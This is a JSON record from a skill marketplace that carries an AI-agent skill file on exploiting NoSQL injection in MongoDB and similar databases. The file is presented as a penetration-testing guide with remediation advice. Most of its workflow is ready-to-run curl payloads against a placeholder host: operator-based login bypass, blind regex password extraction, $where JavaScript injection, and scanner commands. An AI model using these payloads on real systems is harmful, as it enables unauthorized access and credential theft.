[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GXWXSTR2ASP5RZVPTZXS4B":3,"skill-same:01M6GXWXSTR2ASP5RZVPTZXS4B":111},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":25,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":55,"commitSha":56,"skillDirectory":57,"forksCount":58,"repositoryHtmlUrl":59,"repositoryHomepageUrl":6,"ownerHtmlUrl":60,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":61,"install":62,"resources":75},"01M6GXWXSTR2ASP5RZVPTZXS4B","exploiting-nosql-injection-vulnerabilities",null,"Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FSKILL.md",[17,22],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",[26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"vulnerabilities","injection","nosql","exploiting nosql injection vulnerabilities","nosql-injection","couchdb","databases","access","api","application-security","database-security","injection-attack","mongodb","testing","web-security","web-application-security","api-testing","database","authentication","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-nosql-injection-vulnerabilities\ndescription: Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [nosql-injection, mongodb, authentication-bypass, injection-attack, web-security, database-security, api-testing]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting NoSQL Injection Vulnerabilities\n\n## When to Use\n- During web application penetration testing of applications using NoSQL databases\n- When testing authentication mechanisms backed by MongoDB or similar databases\n- When assessing APIs that accept JSON input for database queries\n- During bug bounty hunting on applications with NoSQL backends\n- When performing security code review of database query construction\n\n## Prerequisites\n- Burp Suite Professional or Community Edition with JSON support\n- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)\n- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)\n- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)\n- Proxy configured for HTTP traffic interception\n- Python 3.x for custom payload scripting\n\n## Workflow\n\n### Step 1 — Identify NoSQL Injection Points\n```bash\n# Look for JSON-based login forms or API endpoints\n# Common indicators: application accepts JSON POST bodies, uses MongoDB\n# Test with basic syntax-breaking characters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\\\"\", \"password\": \"test\"}'\n\n# Test for operator injection in query parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=invalid\"\n\n# Check for error-based detection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\": \"\"}}'\n```\n\n### Step 2 — Perform Authentication Bypass\n```bash\n# Basic authentication bypass with $ne operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$ne\": \"invalid\"}, \"password\": {\"$ne\": \"invalid\"}}'\n\n# Bypass with $gt operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}'\n\n# Target specific user with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \".*\"}}'\n\n# Bypass using $exists operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$exists\": true}, \"password\": {\"$exists\": true}}'\n```\n\n### Step 3 — Extract Data Using Boolean-Based Blind Injection\n```bash\n# Extract username character by character using $regex\n# Test if first character of admin password is 'a'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^a\"}}'\n\n# Test if first two characters are 'ab'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^ab\"}}'\n\n# Enumerate usernames with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$regex\": \"^adm\"}, \"password\": {\"$ne\": \"invalid\"}}'\n```\n\n### Step 4 — Exploit JavaScript Injection via $where\n```bash\n# JavaScript injection through $where operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.username == \\\"admin\\\"\"}'\n\n# Time-based detection with sleep\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"sleep(5000) || this.username == \\\"admin\\\"\"}'\n\n# Data exfiltration via $where with string comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.password.match(\u002F^a\u002F) != null\"}'\n```\n\n### Step 5 — Use NoSQLMap for Automated Testing\n```bash\n# Clone and setup NoSQLMap\ngit clone https:\u002F\u002Fgithub.com\u002Fcodingo\u002FNoSQLMap.git\ncd NoSQLMap\npython setup.py install\n\n# Run NoSQLMap against target\npython nosqlmap.py -u http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  --method POST \\\n  --data '{\"username\":\"test\",\"password\":\"test\"}'\n\n# Alternative: use nosqli scanner\npip install nosqli\nnosqli scan -t http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin -d '{\"username\":\"*\",\"password\":\"*\"}'\n```\n\n### Step 6 — Test URL Parameter Injection\n```bash\n# Parameter-based injection (GET requests)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=&password[$ne]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$regex]=admin&password[$gt]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$exists]=true\"\n\n# Array injection via URL parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$in][]=admin&username[$in][]=root\"\n\n# Inject via HTTP headers if processed by backend\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"X-User-Id: {'\\$ne': null}\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |\n| Authentication Bypass | Using operators to match any document and bypass login checks |\n| Blind Extraction | Character-by-character data extraction using $regex boolean responses |\n| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |\n| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |\n| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |\n| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| NoSQLMap | Automated NoSQL injection detection and exploitation framework |\n| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |\n| MongoDB Shell | Direct database interaction for testing query behavior |\n| nosqli | Dedicated NoSQL injection scanner and exploitation tool |\n| PayloadsAllTheThings | Curated NoSQL injection payload repository |\n| Nuclei | Template-based scanner with NoSQL injection detection templates |\n| Postman | API testing platform for crafting NoSQL injection requests |\n\n## Common Scenarios\n\n1. **Login Bypass** — Bypass MongoDB-backed authentication using `{\"$ne\": \"\"}` operator injection in username and password fields\n2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible\n3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints\n4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques\n5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass\n\n## Output Format\n\n```\n## NoSQL Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin\n- **Database**: MongoDB 6.0\n- **Vulnerability Type**: Operator Injection (Authentication Bypass)\n- **Severity**: Critical (CVSS 9.8)\n\n### Vulnerable Parameters\n| Endpoint | Parameter | Injection Type | Impact |\n|----------|-----------|---------------|--------|\n| POST \u002Fapi\u002Flogin | username | Operator ($ne) | Auth Bypass |\n| POST \u002Fapi\u002Flogin | password | Regex ($regex) | Data Extraction |\n| GET \u002Fapi\u002Fusers | id | $where JS Injection | RCE Potential |\n\n### Proof of Concept\n- Authentication bypass achieved with: {\"username\":{\"$ne\":\"\"},\"password\":{\"$ne\":\"\"}}\n- Extracted 3 admin passwords via blind regex injection\n- JavaScript execution confirmed via $where operator\n\n### Remediation\n- Use parameterized queries with MongoDB driver sanitization\n- Implement input type validation (reject objects where strings expected)\n- Disable server-side JavaScript execution ($where) in MongoDB config\n- Apply least-privilege database access controls\n```\n","# Exploiting NoSQL Injection Vulnerabilities\n\n## When to Use\n- During web application penetration testing of applications using NoSQL databases\n- When testing authentication mechanisms backed by MongoDB or similar databases\n- When assessing APIs that accept JSON input for database queries\n- During bug bounty hunting on applications with NoSQL backends\n- When performing security code review of database query construction\n\n## Prerequisites\n- Burp Suite Professional or Community Edition with JSON support\n- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)\n- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)\n- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)\n- Proxy configured for HTTP traffic interception\n- Python 3.x for custom payload scripting\n\n## Workflow\n\n### Step 1 — Identify NoSQL Injection Points\n```bash\n# Look for JSON-based login forms or API endpoints\n# Common indicators: application accepts JSON POST bodies, uses MongoDB\n# Test with basic syntax-breaking characters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\\\"\", \"password\": \"test\"}'\n\n# Test for operator injection in query parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=invalid\"\n\n# Check for error-based detection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\": \"\"}}'\n```\n\n### Step 2 — Perform Authentication Bypass\n```bash\n# Basic authentication bypass with $ne operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$ne\": \"invalid\"}, \"password\": {\"$ne\": \"invalid\"}}'\n\n# Bypass with $gt operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}'\n\n# Target specific user with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \".*\"}}'\n\n# Bypass using $exists operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$exists\": true}, \"password\": {\"$exists\": true}}'\n```\n\n### Step 3 — Extract Data Using Boolean-Based Blind Injection\n```bash\n# Extract username character by character using $regex\n# Test if first character of admin password is 'a'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^a\"}}'\n\n# Test if first two characters are 'ab'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^ab\"}}'\n\n# Enumerate usernames with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$regex\": \"^adm\"}, \"password\": {\"$ne\": \"invalid\"}}'\n```\n\n### Step 4 — Exploit JavaScript Injection via $where\n```bash\n# JavaScript injection through $where operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.username == \\\"admin\\\"\"}'\n\n# Time-based detection with sleep\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"sleep(5000) || this.username == \\\"admin\\\"\"}'\n\n# Data exfiltration via $where with string comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.password.match(\u002F^a\u002F) != null\"}'\n```\n\n### Step 5 — Use NoSQLMap for Automated Testing\n```bash\n# Clone and setup NoSQLMap\ngit clone https:\u002F\u002Fgithub.com\u002Fcodingo\u002FNoSQLMap.git\ncd NoSQLMap\npython setup.py install\n\n# Run NoSQLMap against target\npython nosqlmap.py -u http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  --method POST \\\n  --data '{\"username\":\"test\",\"password\":\"test\"}'\n\n# Alternative: use nosqli scanner\npip install nosqli\nnosqli scan -t http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin -d '{\"username\":\"*\",\"password\":\"*\"}'\n```\n\n### Step 6 — Test URL Parameter Injection\n```bash\n# Parameter-based injection (GET requests)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=&password[$ne]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$regex]=admin&password[$gt]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$exists]=true\"\n\n# Array injection via URL parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$in][]=admin&username[$in][]=root\"\n\n# Inject via HTTP headers if processed by backend\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"X-User-Id: {'\\$ne': null}\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |\n| Authentication Bypass | Using operators to match any document and bypass login checks |\n| Blind Extraction | Character-by-character data extraction using $regex boolean responses |\n| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |\n| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |\n| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |\n| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| NoSQLMap | Automated NoSQL injection detection and exploitation framework |\n| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |\n| MongoDB Shell | Direct database interaction for testing query behavior |\n| nosqli | Dedicated NoSQL injection scanner and exploitation tool |\n| PayloadsAllTheThings | Curated NoSQL injection payload repository |\n| Nuclei | Template-based scanner with NoSQL injection detection templates |\n| Postman | API testing platform for crafting NoSQL injection requests |\n\n## Common Scenarios\n\n1. **Login Bypass** — Bypass MongoDB-backed authentication using `{\"$ne\": \"\"}` operator injection in username and password fields\n2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible\n3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints\n4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques\n5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass\n\n## Output Format\n\n```\n## NoSQL Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin\n- **Database**: MongoDB 6.0\n- **Vulnerability Type**: Operator Injection (Authentication Bypass)\n- **Severity**: Critical (CVSS 9.8)\n\n### Vulnerable Parameters\n| Endpoint | Parameter | Injection Type | Impact |\n|----------|-----------|---------------|--------|\n| POST \u002Fapi\u002Flogin | username | Operator ($ne) | Auth Bypass |\n| POST \u002Fapi\u002Flogin | password | Regex ($regex) | Data Extraction |\n| GET \u002Fapi\u002Fusers | id | $where JS Injection | RCE Potential |\n\n### Proof of Concept\n- Authentication bypass achieved with: {\"username\":{\"$ne\":\"\"},\"password\":{\"$ne\":\"\"}}\n- Extracted 3 admin passwords via blind regex injection\n- JavaScript execution confirmed via $where operator\n\n### Remediation\n- Use parameterized queries with MongoDB driver sanitization\n- Implement input type validation (reject objects where strings expected)\n- Disable server-side JavaScript execution ($where) in MongoDB config\n- Apply least-privilege database access controls\n```\n",{"name":5,"tags":51,"author":53,"domain":45,"license":14,"version":54,"subdomain":41,"description":7},[30,38,52,37,40,36,42],"authentication-bypass","mahipal","1.0","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add micsapp\u002Fmicstec-skills --skill exploiting-nosql-injection-vulnerabilities",{"tool":68,"command":69},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill exploiting-nosql-injection-vulnerabilities",{"tool":71,"command":72},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill exploiting-nosql-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FSKILL.md",true,[76,82,87,93,97,101,107],{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"assets\u002Ftemplate.md","ASSET","资产文件",1117,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fassets\u002Ftemplate.md",{"path":83,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FLICENSE",{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"references\u002Fapi-reference.md","REFERENCE","参考文档",2236,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":94,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":95,"sourceHtmlUrl":96},"references\u002Fstandards.md",1167,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fstandards.md",{"path":98,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":99,"sourceHtmlUrl":100},"references\u002Fworkflows.md",1147,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fworkflows.md",{"path":102,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":105,"sourceHtmlUrl":106},"scripts\u002Fagent.py","SCRIPT","脚本",4761,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fscripts\u002Fagent.py",{"path":108,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":109,"sourceHtmlUrl":110},"scripts\u002Fprocess.py",7617,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fscripts\u002Fprocess.py",[112,144,174,194,214,239],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":116,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":125,"publishedAt":46},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[119,120],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":121,"categoryName":122,"taxonomyType":123,"taxonomyTypeDesc":124},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[126,127,128,129,44,130,131,132,133,34,134,135,136,137,138,139,140,141,142,143],"architecture","azure","azure apim architecture","component","gateway","topology","Optimization","network","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":116,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":158,"publishedAt":46},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[150,151,154,157],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":152,"categoryName":153,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":155,"categoryName":156,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":121,"categoryName":122,"taxonomyType":123,"taxonomyTypeDesc":124},[159,160,161,162,127,163,164,165,166,167,168,169,34,134,140,170,171,141,172,173],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":116,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":181,"publishedAt":46},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[180],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},[182,183,184,185,127,44,34,134,33,186,187,188,189,190,191,141,192,193,173,143],"policy","authoring","apim policy authoring","security","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":116,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":202,"publishedAt":46},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[200,201],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":121,"categoryName":122,"taxonomyType":123,"taxonomyTypeDesc":124},[203,185,204,34,188,205,127,159,206,207,208,209,134,210,141,211,212,213,142,143],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":215,"name":216,"nameZh":6,"description":217,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":116,"licenseFileUrl":6,"sourceHtmlUrl":218,"categories":219,"keywords":220,"publishedAt":46},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[221,222,223,161,224,225,226,227,34,228,229,230,231,232,233,234,235,236,237,238],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":240,"name":241,"nameZh":6,"description":242,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":116,"licenseFileUrl":6,"sourceHtmlUrl":243,"categories":244,"keywords":245,"publishedAt":46},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[241,246,247,248,249,250,251,186,252,253],"npm","js","calculate","node","math","user","compute","errors"]